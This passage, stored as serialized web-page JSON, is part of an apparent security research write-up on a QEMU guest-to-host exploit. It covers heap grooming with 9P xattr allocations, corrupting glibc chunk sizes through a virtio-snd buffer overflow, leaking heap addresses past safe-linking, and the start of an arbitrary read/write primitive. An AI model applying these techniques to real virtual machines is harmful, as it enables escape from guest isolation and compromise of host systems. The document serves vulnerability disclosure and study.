",{"type":24,"tag":32,"props":128282,"children":128284},{"className":128283},[],[128285],{"type":29,"value":127438},{"type":29,"value":128287}," allocations from that separate freelist instead of placing them next to our ",{"type":24,"tag":32,"props":128289,"children":128291},{"className":128290},[],[128292],{"type":29,"value":127445},{"type":29,"value":128294}," chunks.",{"type":24,"tag":18631,"props":128296,"children":128298},{"id":128297},"separating-name-allocations",[128299],{"type":29,"value":128300},"Separating .name allocations",{"type":24,"tag":25,"props":128302,"children":128303},{},[128304,128306,128311,128313,128318],{"type":29,"value":128305},"We chose the second option. However, it is not as simple as issuing ",{"type":24,"tag":32,"props":128307,"children":128309},{"className":128308},[],[128310],{"type":29,"value":127482},{"type":29,"value":128312}," for N ",{"type":24,"tag":32,"props":128314,"children":128316},{"className":128315},[],[128317],{"type":29,"value":127438},{"type":29,"value":128319},"-sized allocations and then freeing them.",{"type":24,"tag":25,"props":128321,"children":128322},{},[128323,128325,128330,128331,128336,128337,128342,128344,128349,128351,128356],{"type":29,"value":128324},"At this point, we already know that ",{"type":24,"tag":32,"props":128326,"children":128328},{"className":128327},[],[128329],{"type":29,"value":127482},{"type":29,"value":128232},{"type":24,"tag":32,"props":128332,"children":128334},{"className":128333},[],[128335],{"type":29,"value":127438},{"type":29,"value":128239},{"type":24,"tag":32,"props":128338,"children":128340},{"className":128339},[],[128341],{"type":29,"value":127445},{"type":29,"value":128343},". If we simply call it with ",{"type":24,"tag":32,"props":128345,"children":128347},{"className":128346},[],[128348],{"type":29,"value":127445},{"type":29,"value":128350}," sized the same as ",{"type":24,"tag":32,"props":128352,"children":128354},{"className":128353},[],[128355],{"type":29,"value":127438},{"type":29,"value":128357},", we get a layout like this:",{"type":24,"tag":73,"props":128359,"children":128361},{"code":128360},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[128362],{"type":24,"tag":32,"props":128363,"children":128364},{"__ignoreMap":7},[128365],{"type":29,"value":128360},{"type":24,"tag":25,"props":128367,"children":128368},{},[128369,128371,128376,128378,128384,128386,128392,128394,128399,128401,128406,128408,128413],{"type":29,"value":128370},"With that heap state, issuing a ",{"type":24,"tag":32,"props":128372,"children":128374},{"className":128373},[],[128375],{"type":29,"value":128148},{"type":29,"value":128377}," request would first free ",{"type":24,"tag":32,"props":128379,"children":128381},{"className":128380},[],[128382],{"type":29,"value":128383},".name A",{"type":29,"value":128385}," and then ",{"type":24,"tag":32,"props":128387,"children":128389},{"className":128388},[],[128390],{"type":29,"value":128391},".value A",{"type":29,"value":128393},". When ",{"type":24,"tag":32,"props":128395,"children":128397},{"className":128396},[],[128398],{"type":29,"value":128391},{"type":29,"value":128400}," is freed, the allocator sees that the preceding chunk ",{"type":24,"tag":32,"props":128402,"children":128404},{"className":128403},[],[128405],{"type":29,"value":128383},{"type":29,"value":128407}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":24,"tag":32,"props":128409,"children":128411},{"className":128410},[],[128412],{"type":29,"value":127438},{"type":29,"value":128414},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":24,"tag":25,"props":128416,"children":128417},{},[128418],{"type":29,"value":128419},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":24,"tag":25,"props":128421,"children":128422},{},[128423,128425,128430,128432,128437,128439,128444,128446,128452,128454,128459,128461,128467],{"type":29,"value":128424},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":24,"tag":32,"props":128426,"children":128428},{"className":128427},[],[128429],{"type":29,"value":127438},{"type":29,"value":128431}," allocation remains fixed at size ",{"type":24,"tag":32,"props":128433,"children":128435},{"className":128434},[],[128436],{"type":29,"value":104600},{"type":29,"value":128438},". We first allocate 16 xattrs whose ",{"type":24,"tag":32,"props":128440,"children":128442},{"className":128441},[],[128443],{"type":29,"value":127445},{"type":29,"value":128445}," size is ",{"type":24,"tag":32,"props":128447,"children":128449},{"className":128448},[],[128450],{"type":29,"value":128451},"0x30",{"type":29,"value":128453},". After that, we allocate another 16 xattrs, this time with ",{"type":24,"tag":32,"props":128455,"children":128457},{"className":128456},[],[128458],{"type":29,"value":127445},{"type":29,"value":128460}," size ",{"type":24,"tag":32,"props":128462,"children":128464},{"className":128463},[],[128465],{"type":29,"value":128466},"0x40",{"type":29,"value":128468},", and continue in the same way for each tcache size class.",{"type":24,"tag":25,"props":128470,"children":128471},{},[128472],{"type":29,"value":128473},"This yields the following layout:",{"type":24,"tag":73,"props":128475,"children":128477},{"code":128476},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[128478],{"type":24,"tag":32,"props":128479,"children":128480},{"__ignoreMap":7},[128481],{"type":29,"value":128476},{"type":24,"tag":25,"props":128483,"children":128484},{},[128485,128487,128492,128494,128499,128501,128506,128508,128513,128515,128520,128522,128527,128528,128533,128535,128540,128542,128547,128549,128554,128556,128561,128563,128568],{"type":29,"value":128486},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":24,"tag":32,"props":128488,"children":128490},{"className":128489},[],[128491],{"type":29,"value":127438},{"type":29,"value":128493}," chunks end up in the ",{"type":24,"tag":32,"props":128495,"children":128497},{"className":128496},[],[128498],{"type":29,"value":104600},{"type":29,"value":128500}," tcache bin, along with the interleaved ",{"type":24,"tag":32,"props":128502,"children":128504},{"className":128503},[],[128505],{"type":29,"value":127445},{"type":29,"value":128507}," chunks of size ",{"type":24,"tag":32,"props":128509,"children":128511},{"className":128510},[],[128512],{"type":29,"value":128451},{"type":29,"value":128514},". The next 16 ",{"type":24,"tag":32,"props":128516,"children":128518},{"className":128517},[],[128519],{"type":29,"value":127438},{"type":29,"value":128521}," chunks are interleaved with ",{"type":24,"tag":32,"props":128523,"children":128525},{"className":128524},[],[128526],{"type":29,"value":127445},{"type":29,"value":128507},{"type":24,"tag":32,"props":128529,"children":128531},{"className":128530},[],[128532],{"type":29,"value":128466},{"type":29,"value":128534},"; when freed, those ",{"type":24,"tag":32,"props":128536,"children":128538},{"className":128537},[],[128539],{"type":29,"value":127445},{"type":29,"value":128541}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":24,"tag":32,"props":128543,"children":128545},{"className":128544},[],[128546],{"type":29,"value":127438},{"type":29,"value":128548}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":24,"tag":32,"props":128550,"children":128552},{"className":128551},[],[128553],{"type":29,"value":127438},{"type":29,"value":128555},"-sized chunks that will later be served to the ",{"type":24,"tag":32,"props":128557,"children":128559},{"className":128558},[],[128560],{"type":29,"value":127438},{"type":29,"value":128562}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":24,"tag":32,"props":128564,"children":128566},{"className":128565},[],[128567],{"type":29,"value":127445},{"type":29,"value":128294},{"type":24,"tag":1818,"props":128570,"children":128572},{"id":128571},"corrupting-the-size",[128573],{"type":29,"value":128574},"Corrupting the Size",{"type":24,"tag":25,"props":128576,"children":128577},{},[128578,128580,128585,128587,128592,128594,128599,128601,128606,128607,128612],{"type":29,"value":128579},"The input format is guest-controlled, and we choose ",{"type":24,"tag":32,"props":128581,"children":128583},{"className":128582},[],[128584],{"type":29,"value":3166},{"type":29,"value":128586}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":24,"tag":32,"props":128588,"children":128590},{"className":128589},[],[128591],{"type":29,"value":3166},{"type":29,"value":128593}," is centered at ",{"type":24,"tag":32,"props":128595,"children":128597},{"className":128596},[],[128598],{"type":29,"value":29191},{"type":29,"value":128600}," (rather than ",{"type":24,"tag":32,"props":128602,"children":128604},{"className":128603},[],[128605],{"type":29,"value":125700},{"type":29,"value":125687},{"type":24,"tag":32,"props":128608,"children":128610},{"className":128609},[],[128611],{"type":29,"value":125678},{"type":29,"value":128613},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":24,"tag":25,"props":128615,"children":128616},{},[128617,128619,128624],{"type":29,"value":128618},"As we already concluded, ",{"type":24,"tag":32,"props":128620,"children":128622},{"className":128621},[],[128623],{"type":29,"value":125143},{"type":29,"value":128625}," is called with the amount:",{"type":24,"tag":73,"props":128627,"children":128629},{"code":128628},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[128630],{"type":24,"tag":32,"props":128631,"children":128632},{"__ignoreMap":7},[128633],{"type":29,"value":128628},{"type":24,"tag":25,"props":128635,"children":128636},{},[128637,128639,128644,128646,128651],{"type":29,"value":128638},"And as mentioned earlier, ",{"type":24,"tag":32,"props":128640,"children":128642},{"className":128641},[],[128643],{"type":29,"value":125174},{"type":29,"value":128645}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":24,"tag":32,"props":128647,"children":128649},{"className":128648},[],[128650],{"type":29,"value":123793},{"type":29,"value":58040},{"type":24,"tag":25,"props":128653,"children":128654},{},[128655,128657,128662,128664,128669],{"type":29,"value":128656},"With the desired heap layout of repeated ",{"type":24,"tag":32,"props":128658,"children":128660},{"className":128659},[],[128661],{"type":29,"value":127347},{"type":29,"value":128663},"-sized ",{"type":24,"tag":32,"props":128665,"children":128667},{"className":128666},[],[128668],{"type":29,"value":127445},{"type":29,"value":128670}," chunks in place, we can then free every other one:",{"type":24,"tag":73,"props":128672,"children":128674},{"code":128673},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[128675],{"type":24,"tag":32,"props":128676,"children":128677},{"__ignoreMap":7},[128678],{"type":29,"value":128673},{"type":24,"tag":25,"props":128680,"children":128681},{},[128682,128684,128689],{"type":29,"value":128683},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":24,"tag":32,"props":128685,"children":128687},{"className":128686},[],[128688],{"type":29,"value":127445},{"type":29,"value":128690}," chunk directly next to it:",{"type":24,"tag":73,"props":128692,"children":128694},{"code":128693},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[128695],{"type":24,"tag":32,"props":128696,"children":128697},{"__ignoreMap":7},[128698],{"type":29,"value":128693},{"type":24,"tag":25,"props":128700,"children":128701},{},[128702,128704,128709,128711,128716],{"type":29,"value":128703},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":24,"tag":32,"props":128705,"children":128707},{"className":128706},[],[128708],{"type":29,"value":127347},{"type":29,"value":128710},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":24,"tag":32,"props":128712,"children":128714},{"className":128713},[],[128715],{"type":29,"value":127445},{"type":29,"value":128717}," chunk now has a corrupted and likely oversized size field:",{"type":24,"tag":73,"props":128719,"children":128721},{"code":128720},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[128722],{"type":24,"tag":32,"props":128723,"children":128724},{"__ignoreMap":7},[128725],{"type":29,"value":128720},{"type":24,"tag":25,"props":128727,"children":128728},{},[128729,128731,128736],{"type":29,"value":128730},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":24,"tag":32,"props":128732,"children":128734},{"className":128733},[],[128735],{"type":29,"value":127362},{"type":29,"value":195},{"type":24,"tag":73,"props":128738,"children":128740},{"code":128739},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[128741],{"type":24,"tag":32,"props":128742,"children":128743},{"__ignoreMap":7},[128744],{"type":29,"value":128739},{"type":24,"tag":25,"props":128746,"children":128747},{},[128748,128750,128755],{"type":29,"value":128749},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":24,"tag":32,"props":128751,"children":128753},{"className":128752},[],[128754],{"type":29,"value":127362},{"type":29,"value":2554},{"type":24,"tag":73,"props":128757,"children":128759},{"code":128758},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[128760],{"type":24,"tag":32,"props":128761,"children":128762},{"__ignoreMap":7},[128763],{"type":29,"value":128758},{"type":24,"tag":25,"props":128765,"children":128766},{},[128767,128769,128775],{"type":29,"value":128768},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":24,"tag":32,"props":128770,"children":128772},{"className":128771},[],[128773],{"type":29,"value":128774},"0x400",{"type":29,"value":128776}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":24,"tag":73,"props":128778,"children":128780},{"code":128779},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[128781],{"type":24,"tag":32,"props":128782,"children":128783},{"__ignoreMap":7},[128784],{"type":29,"value":128779},{"type":24,"tag":1818,"props":128786,"children":128788},{"id":128787},"leaking-a-heap-address",[128789],{"type":29,"value":128790},"Leaking a Heap Address",{"type":24,"tag":25,"props":128792,"children":128793},{},[128794],{"type":29,"value":128795},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":24,"tag":25,"props":128797,"children":128798},{},[128799,128801,128807],{"type":29,"value":128800},"To do this, we abuse the forward (",{"type":24,"tag":32,"props":128802,"children":128804},{"className":128803},[],[128805],{"type":29,"value":128806},"fd",{"type":29,"value":128808},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":24,"tag":73,"props":128810,"children":128812},{"code":128811},"fd = next ^ (curr >> 12)\n",[128813],{"type":24,"tag":32,"props":128814,"children":128815},{"__ignoreMap":7},[128816],{"type":29,"value":128811},{"type":24,"tag":25,"props":128818,"children":128819},{},[128820,128822,128827,128828,128833],{"type":29,"value":128821},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":24,"tag":32,"props":128823,"children":128825},{"className":128824},[],[128826],{"type":29,"value":57279},{"type":29,"value":5246},{"type":24,"tag":32,"props":128829,"children":128831},{"className":128830},[],[128832],{"type":29,"value":54209},{"type":29,"value":128834}," because there is no following entry. In that case, the encoding becomes:",{"type":24,"tag":73,"props":128836,"children":128838},{"code":128837},"fd = 0 ^ (curr >> 12)\n",[128839],{"type":24,"tag":32,"props":128840,"children":128841},{"__ignoreMap":7},[128842],{"type":29,"value":128837},{"type":24,"tag":25,"props":128844,"children":128845},{},[128846,128848,128853],{"type":29,"value":128847},"So if we free a single chunk into an empty tcache bin, its ",{"type":24,"tag":32,"props":128849,"children":128851},{"className":128850},[],[128852],{"type":29,"value":128806},{"type":29,"value":128854}," field is effectively just the chunk address shifted right by 12.",{"type":24,"tag":25,"props":128856,"children":128857},{},[128858],{"type":29,"value":128859},"In the overlap we achieved earlier:",{"type":24,"tag":73,"props":128861,"children":128863},{"code":128862},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[128864],{"type":24,"tag":32,"props":128865,"children":128866},{"__ignoreMap":7},[128867],{"type":29,"value":128862},{"type":24,"tag":25,"props":128869,"children":128870},{},[128871,128873,128879,128881,128887,128889,128895,128897,128902],{"type":29,"value":128872},"We first free ",{"type":24,"tag":32,"props":128874,"children":128876},{"className":128875},[],[128877],{"type":29,"value":128878},".value C",{"type":29,"value":128880}," into tcache and read its contents through the oversized ",{"type":24,"tag":32,"props":128882,"children":128884},{"className":128883},[],[128885],{"type":29,"value":128886},".value Y",{"type":29,"value":128888},". This gives us ",{"type":24,"tag":32,"props":128890,"children":128892},{"className":128891},[],[128893],{"type":29,"value":128894},".value C >> 12",{"type":29,"value":128896},". That is not yet the exact address of ",{"type":24,"tag":32,"props":128898,"children":128900},{"className":128899},[],[128901],{"type":29,"value":128878},{"type":29,"value":128903},", since the lower 12 bits are lost.",{"type":24,"tag":25,"props":128905,"children":128906},{},[128907,128909,128914,128916,128921,128923,128928,128930,128935],{"type":29,"value":128908},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":24,"tag":32,"props":128910,"children":128912},{"className":128911},[],[128913],{"type":29,"value":128878},{"type":29,"value":128915},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":24,"tag":32,"props":128917,"children":128919},{"className":128918},[],[128920],{"type":29,"value":128878},{"type":29,"value":128922}," again. This time, ",{"type":24,"tag":32,"props":128924,"children":128926},{"className":128925},[],[128927],{"type":29,"value":57279},{"type":29,"value":128929}," is no longer ",{"type":24,"tag":32,"props":128931,"children":128933},{"className":128932},[],[128934],{"type":29,"value":54209},{"type":29,"value":128936},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":24,"tag":73,"props":128938,"children":128939},{"code":128811},[128940],{"type":24,"tag":32,"props":128941,"children":128942},{"__ignoreMap":7},[128943],{"type":29,"value":128811},{"type":24,"tag":25,"props":128945,"children":128946},{},[128947,128949,128955,128957,128962,128964,128969,128971,128976],{"type":29,"value":128948},"Since we already know ",{"type":24,"tag":32,"props":128950,"children":128952},{"className":128951},[],[128953],{"type":29,"value":128954},"curr >> 12",{"type":29,"value":128956}," from the first leak, we can read the new ",{"type":24,"tag":32,"props":128958,"children":128960},{"className":128959},[],[128961],{"type":29,"value":128806},{"type":29,"value":128963}," value from ",{"type":24,"tag":32,"props":128965,"children":128967},{"className":128966},[],[128968],{"type":29,"value":128878},{"type":29,"value":128970}," and recover the exact address of ",{"type":24,"tag":32,"props":128972,"children":128974},{"className":128973},[],[128975],{"type":29,"value":57279},{"type":29,"value":128977}," by reversing the XOR:",{"type":24,"tag":73,"props":128979,"children":128981},{"code":128980},"next = fd ^ (curr >> 12)\n",[128982],{"type":24,"tag":32,"props":128983,"children":128984},{"__ignoreMap":7},[128985],{"type":29,"value":128980},{"type":24,"tag":25,"props":128987,"children":128988},{},[128989],{"type":29,"value":128990},"This gives us the exact address of a heap chunk whose contents we control.",{"type":24,"tag":1818,"props":128992,"children":128994},{"id":128993},"arbitrary-read-and-write",[128995],{"type":29,"value":128996},"Arbitrary Read and Write",{"type":24,"tag":25,"props":128998,"children":128999},{},[129000,129002,129007],{"type":29,"value":129001},"Having a controlled chunk at a known address lets us repurpose ",{"type":24,"tag":32,"props":129003,"children":129005},{"className":129004},[],[129006],{"type":29,"value":128878},{"type":29,"value":129008}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":24,"tag":25,"props":129010,"children":129011},{},[129012,129014,129019],{"type":29,"value":129013},"Recall ",{"type":24,"tag":32,"props":129015,"children":129017},{"className":129016},[],[129018],{"type":29,"value":127482},{"type":29,"value":195},{"type":24,"tag":73,"props":129021,"children":129023},{"code":129022,"language":2891,"meta":7,"className":16250,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[129024],{"type":24,"tag":32,"props":129025,"children":129026},{"__ignoreMap":7},[129027,129066,129073,129084,129099,129114,129121,129128,129135,129157,129164,129171,129178,129186,129203,129242,129285,129292],{"type":24,"tag":83,"props":129028,"children":129029},{"class":85,"line":86},[129030,129034,129038,129042,129046,129050,129054,129058,129062],{"type":24,"tag":83,"props":129031,"children":129032},{"style":90},[129033],{"type":29,"value":50759},{"type":24,"tag":83,"props":129035,"children":129036},{"style":90},[129037],{"type":29,"value":50764},{"type":24,"tag":83,"props":129039,"children":129040},{"style":107},[129041],{"type":29,"value":127477},{"type":24,"tag":83,"props":129043,"children":129044},{"style":101},[129045],{"type":29,"value":127482},{"type":24,"tag":83,"props":129047,"children":129048},{"style":107},[129049],{"type":29,"value":558},{"type":24,"tag":83,"props":129051,"children":129052},{"style":90},[129053],{"type":29,"value":51342},{"type":24,"tag":83,"props":129055,"children":129056},{"style":143},[129057],{"type":29,"value":9563},{"type":24,"tag":83,"props":129059,"children":129060},{"style":137},[129061],{"type":29,"value":127499},{"type":24,"tag":83,"props":129063,"children":129064},{"style":107},[129065],{"type":29,"value":2905},{"type":24,"tag":83,"props":129067,"children":129068},{"class":85,"line":113},[129069],{"type":24,"tag":83,"props":129070,"children":129071},{"style":107},[129072],{"type":29,"value":10628},{"type":24,"tag":83,"props":129074,"children":129075},{"class":85,"line":128},[129076,129080],{"type":24,"tag":83,"props":129077,"children":129078},{"style":90},[129079],{"type":29,"value":55326},{"type":24,"tag":83,"props":129081,"children":129082},{"style":107},[129083],{"type":29,"value":124135},{"type":24,"tag":83,"props":129085,"children":129086},{"class":85,"line":183},[129087,129091,129095],{"type":24,"tag":83,"props":129088,"children":129089},{"style":107},[129090],{"type":29,"value":127624},{"type":24,"tag":83,"props":129092,"children":129093},{"style":143},[129094],{"type":29,"value":4315},{"type":24,"tag":83,"props":129096,"children":129097},{"style":107},[129098],{"type":29,"value":127633},{"type":24,"tag":83,"props":129100,"children":129101},{"class":85,"line":203},[129102,129106,129110],{"type":24,"tag":83,"props":129103,"children":129104},{"style":107},[129105],{"type":29,"value":127624},{"type":24,"tag":83,"props":129107,"children":129108},{"style":143},[129109],{"type":29,"value":4315},{"type":24,"tag":83,"props":129111,"children":129112},{"style":107},[129113],{"type":29,"value":127649},{"type":24,"tag":83,"props":129115,"children":129116},{"class":85,"line":212},[129117],{"type":24,"tag":83,"props":129118,"children":129119},{"emptyLinePlaceholder":16},[129120],{"type":29,"value":3422},{"type":24,"tag":83,"props":129122,"children":129123},{"class":85,"line":256},[129124],{"type":24,"tag":83,"props":129125,"children":129126},{"style":107},[129127],{"type":29,"value":104334},{"type":24,"tag":83,"props":129129,"children":129130},{"class":85,"line":270},[129131],{"type":24,"tag":83,"props":129132,"children":129133},{"emptyLinePlaceholder":16},[129134],{"type":29,"value":3422},{"type":24,"tag":83,"props":129136,"children":129137},{"class":85,"line":302},[129138,129143,129147,129152],{"type":24,"tag":83,"props":129139,"children":129140},{"style":107},[129141],{"type":29,"value":129142},"    file_fidp ",{"type":24,"tag":83,"props":129144,"children":129145},{"style":143},[129146],{"type":29,"value":1275},{"type":24,"tag":83,"props":129148,"children":129149},{"style":101},[129150],{"type":29,"value":129151}," get_fid",{"type":24,"tag":83,"props":129153,"children":129154},{"style":107},[129155],{"type":29,"value":129156},"(pdu, fid);\n",{"type":24,"tag":83,"props":129158,"children":129159},{"class":85,"line":324},[129160],{"type":24,"tag":83,"props":129161,"children":129162},{"emptyLinePlaceholder":16},[129163],{"type":29,"value":3422},{"type":24,"tag":83,"props":129165,"children":129166},{"class":85,"line":345},[129167],{"type":24,"tag":83,"props":129168,"children":129169},{"style":107},[129170],{"type":29,"value":104334},{"type":24,"tag":83,"props":129172,"children":129173},{"class":85,"line":358},[129174],{"type":24,"tag":83,"props":129175,"children":129176},{"emptyLinePlaceholder":16},[129177],{"type":29,"value":3422},{"type":24,"tag":83,"props":129179,"children":129180},{"class":85,"line":367},[129181],{"type":24,"tag":83,"props":129182,"children":129183},{"style":2735},[129184],{"type":29,"value":129185},"    /* Make the file fid point to xattr */\n",{"type":24,"tag":83,"props":129187,"children":129188},{"class":85,"line":406},[129189,129194,129198],{"type":24,"tag":83,"props":129190,"children":129191},{"style":107},[129192],{"type":29,"value":129193},"    xattr_fidp ",{"type":24,"tag":83,"props":129195,"children":129196},{"style":143},[129197],{"type":29,"value":1275},{"type":24,"tag":83,"props":129199,"children":129200},{"style":107},[129201],{"type":29,"value":129202}," file_fidp;\n",{"type":24,"tag":83,"props":129204,"children":129205},{"class":85,"line":427},[129206,129210,129214,129218,129222,129226,129230,129234,129238],{"type":24,"tag":83,"props":129207,"children":129208},{"style":137},[129209],{"type":29,"value":128027},{"type":24,"tag":83,"props":129211,"children":129212},{"style":107},[129213],{"type":29,"value":13502},{"type":24,"tag":83,"props":129215,"children":129216},{"style":137},[129217],{"type":29,"value":36712},{"type":24,"tag":83,"props":129219,"children":129220},{"style":107},[129221],{"type":29,"value":161},{"type":24,"tag":83,"props":129223,"children":129224},{"style":137},[129225],{"type":29,"value":127951},{"type":24,"tag":83,"props":129227,"children":129228},{"style":107},[129229],{"type":29,"value":161},{"type":24,"tag":83,"props":129231,"children":129232},{"style":137},[129233],{"type":29,"value":8885},{"type":24,"tag":83,"props":129235,"children":129236},{"style":143},[129237],{"type":29,"value":146},{"type":24,"tag":83,"props":129239,"children":129240},{"style":107},[129241],{"type":29,"value":124135},{"type":24,"tag":83,"props":129243,"children":129244},{"class":85,"line":440},[129245,129249,129253,129257,129261,129265,129269,129273,129277,129281],{"type":24,"tag":83,"props":129246,"children":129247},{"style":137},[129248],{"type":29,"value":128027},{"type":24,"tag":83,"props":129250,"children":129251},{"style":107},[129252],{"type":29,"value":13502},{"type":24,"tag":83,"props":129254,"children":129255},{"style":137},[129256],{"type":29,"value":36712},{"type":24,"tag":83,"props":129258,"children":129259},{"style":107},[129260],{"type":29,"value":161},{"type":24,"tag":83,"props":129262,"children":129263},{"style":137},[129264],{"type":29,"value":127951},{"type":24,"tag":83,"props":129266,"children":129267},{"style":107},[129268],{"type":29,"value":161},{"type":24,"tag":83,"props":129270,"children":129271},{"style":137},[129272],{"type":29,"value":38870},{"type":24,"tag":83,"props":129274,"children":129275},{"style":143},[129276],{"type":29,"value":146},{"type":24,"tag":83,"props":129278,"children":129279},{"style":101},[129280],{"type":29,"value":123706},{"type":24,"tag":83,"props":129282,"children":129283},{"style":107},[129284],{"type":29,"value":128064},{"type":24,"tag":83,"props":129286,"children":129287},{"class":85,"line":449},[129288],{"type":24,"tag":83,"props":129289,"children":129290},{"emptyLinePlaceholder":16},[129291],{"type":29,"value":3422},{"type":24,"tag":83,"props":129293,"children":129294},{"class":85,"line":458},[129295],{"type":24,"tag":83,"props":129296,"children":129297},{"style":107},[129298],{"type":29,"value":104334},{"type":24,"tag":25,"props":129300,"children":129301},{},[129302,129304,129310,129312,129317,129318,129323,129325,129330,129332,129338,129339,129345,129347,129352,129353,129358],{"type":29,"value":129303},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":24,"tag":32,"props":129305,"children":129307},{"className":129306},[],[129308],{"type":29,"value":129309},"V9fsFidState",{"type":29,"value":129311}," object. In other words, if we can place a ",{"type":24,"tag":32,"props":129313,"children":129315},{"className":129314},[],[129316],{"type":29,"value":129309},{"type":29,"value":7069},{"type":24,"tag":32,"props":129319,"children":129321},{"className":129320},[],[129322],{"type":29,"value":128878},{"type":29,"value":129324}," currently sits, the overlapping ",{"type":24,"tag":32,"props":129326,"children":129328},{"className":129327},[],[129329],{"type":29,"value":128886},{"type":29,"value":129331}," chunk can overwrite ",{"type":24,"tag":32,"props":129333,"children":129335},{"className":129334},[],[129336],{"type":29,"value":129337},"V9fsFidState.fs.xattr.value",{"type":29,"value":2287},{"type":24,"tag":32,"props":129340,"children":129342},{"className":129341},[],[129343],{"type":29,"value":129344},"V9fsFidState.fs.xattr.len",{"type":29,"value":129346},". That would immediately give us arbitrary read and write through ",{"type":24,"tag":32,"props":129348,"children":129350},{"className":129349},[],[129351],{"type":29,"value":128140},{"type":29,"value":2287},{"type":24,"tag":32,"props":129354,"children":129356},{"className":129355},[],[129357],{"type":29,"value":128132},{"type":29,"value":161},{"type":24,"tag":25,"props":129360,"children":129361},{},[129362,129364,129369,129370,129375,129377,129382,129384,129390,129392,129397,129399,129404,129406,129411,129413,129418,129420,129425],{"type":29,"value":129363},"At this point, ",{"type":24,"tag":32,"props":129365,"children":129367},{"className":129366},[],[129368],{"type":29,"value":128878},{"type":29,"value":15183},{"type":24,"tag":32,"props":129371,"children":129373},{"className":129372},[],[129374],{"type":29,"value":127347},{"type":29,"value":129376}," chunk, while 